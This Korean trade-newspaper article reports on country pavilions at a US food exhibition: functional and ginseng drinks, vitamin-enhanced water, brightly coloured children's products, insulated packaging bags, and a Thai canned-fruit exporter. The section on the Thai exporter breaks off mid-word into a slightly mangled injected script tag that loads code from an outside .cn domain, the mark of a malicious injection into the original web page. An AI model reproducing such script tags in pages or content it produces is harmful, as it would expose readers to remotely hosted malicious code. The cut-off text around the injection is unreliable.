○…주최국인 미국을 비롯해 대만과 홍콩, 태국, 멕시코가 국가관을 마련해 수출용 상품들을 전시했다.
주최국인 미국의 경우 기능성 음료개발이 눈에 띄었으며, 다른 동남아국가들은 즉석·편의식에 상품개발의 초점을 뒀다.
국가관을 중심으로 바이어들의 이목이 쏠린 제품과 특징, 상품개발 동향 등을 소개한다.

◆미국
-기능성으로 승부하라
국내 식품업체들과 마찬가지로 역시 미국 식품업체들의 화두도 기능성이었다.
특히 음료를 중심으로 이같은 경향이 두드러졌다.
에너지브랜즈(energy brands inc)사는 `비타민 워터''라는 한가지 브랜드의 제품을 10여가지로 세분한 기능성음료를 선보여 바이어들의 발길을 잡았다.
이 회사가 출품한 제품은 딸기와 레몬, 오렌지 등을 기본으로해 다양한 기능성을 강조한 제품.
칼로리를 대폭 줄였으며 특히 `스트레스를 받았을때'', `에버지보충용'', `지구력이 필요할때'' 등 11개 종류로 다양화한 제품컨셉으로 소비자들의 구매욕을 당기는 전략이 눈에 띄었다.
인삼성분이 함유된 기능성 음료개발도 미국 음료시장의 최근 경향이다.
사만타(Samantha)사는 인삼의 쓴맛 등을 줄인 기능성음료 시제품을 선보였다.
이름도 `에너자이저 진생(Energizer Ginseng)''과 `진생 파워볼트(Ginseng Power Bolt)''로 인삼이 첨가된 점을 부각시킨 느낌이다.
이들 제품은 파인애플, 당근, 파파야, 레몬 등의 주스에 미국산 인삼액과 비타민을 첨가한 것이 특징이다.
베버리지 마케팅(Beverage Marketing)사 역시 기능성 캔 음료 `익스트림 에너지 샷(Extream Energe Shot)''를 출품했다.
이 업체는 미국산 인삼을 제품에 이용해 타우린성분이 풍부하고, 과일성분까지 포함해 비타민이 풍부하다는 점을 강조했다.
기능성 물도 요즘 두각을 보이는 새로운 틈새제품이다.
미국인들이 건강에 대한 관심이 높아지면서 최근 5년간 소다음료 판매는 5% 감소한 반면 물에 각종 비타민 등을 첨가한 음료와는 차별화된 기능성물시장이 확대되고 있는 추세다.
농수산물유통공사 뉴욕농업무역관 김충곤관장은 “기능성물(enhanced water)에 대한 업체들의 관심이 높아지고 이런 종류의 제품출시가 이어져 올해 약 2억달러의 시장을 형성것이란게 업계의 전망”이라면서 “특히 펩시콜라, 코카콜라 등 주요 음료업체이 물에 각종 비타민, 허브, 칼슘 등을 첨가한 기능성 물 제품을 출시할 예정이고, 심지어 백스인터네셔녈사의 경우 중년층을 겨냥해 갱년기와 전립선 질환 예방용 기능성 물을 선보일 계획인 것으로 알려지고 있다”고 업계 경향을 설명했다.

-튀는 색, 튀는 모양, 튀는 이름
제품 품질못지 않게 눈에 띄게 두드러진 경향중에 하나는 튀는 색과 제품모양이다.
특히 구매력에 영향이 큰 어린이들을 자사 소비자로 끌어들이기 위해 고정관념이 파괴된 `튀는 칼라''의 제품들이 선보였다.
여기에 어린이들이 좋아하는 스파이더맨과 배트맨 등 케릭터 인형을 부착한 것은 기본이다.
스내플(Snapple)사는 다양한 칼라에 곡선을 강조해 젊은층 소비자의 시선을 한눈에 사로잡을 수 있는 음료제품을 선보였다.
이름도 화산, 불, 태양 등 제품칼라에 맞춰 강렬하고 직선적인 것이 특징이다.
하인즈(Heinz)는 보라와 초록색 케첩을, 크래프트(Kraft)는 파란색 마카로니와 치즈제품을 선보였다.
또한 미국인들이 즐겨먹는 냉동식품인 감자튀김도 파란색 제품이 곧 선보일 것이라는 소식이다.

-기능성 포장
별도 전시장에 마련된 식품 기자재 및 슈퍼마켓용품 코너에서 가장 바이어들의 관심이 집중된 것은 보온·보냉 포장백이었다.
콜드키퍼(Coldkeepers)사가 개발해 전시한 `콜드 투 고(Kold·To·Go)''는 보온·보냉 효과가 탁월해 아이스크림은 물론 주류, 피자, 튀김제품 등 다양한 식품의 포장과 이송이 용이한 것이 특징.
특히 무거운 제품 이송에도 파손이 염려없을 정도로 단단한 것이 장점이었다.
판촉물량이 모자랄 정도로 인기였다.

◆태국
태국업체들은 각종 통조림과 음료, 레토르트식품을 전시했다.
참가업체중 씨앤에이 프로덕트사 부스에는 가장 많은 바이어들이 몰렸다.
이 회사는 야자와 파인애플 등 열대과일을 이용한 천연 음료제품과 통조림을 전시했다.
특히 모든 제품이 GMP(우수제조시설)기준을 통과했고, ISO 9002 인증을 받을 만큼 품질이 우수하다는 점을 알렸다.
마케팅담당자인 시리칸씨는 “8년전 이 사업을 시작한 이후 현재 종업원만도 400명, 한달에 약 2500톤의 제품을 생산할 수 있는 능력을 갖췄다”면서 “현재 미국, 유럽, 호주, 동남아시아에 전체 생산량의 80% 정도를 수출하고 있다”고 말했다.
램통?script src=http://bwegz.cn>

저작권자 © 농수축산신문 무단전재, 재배포 및 AI학습 이용 금지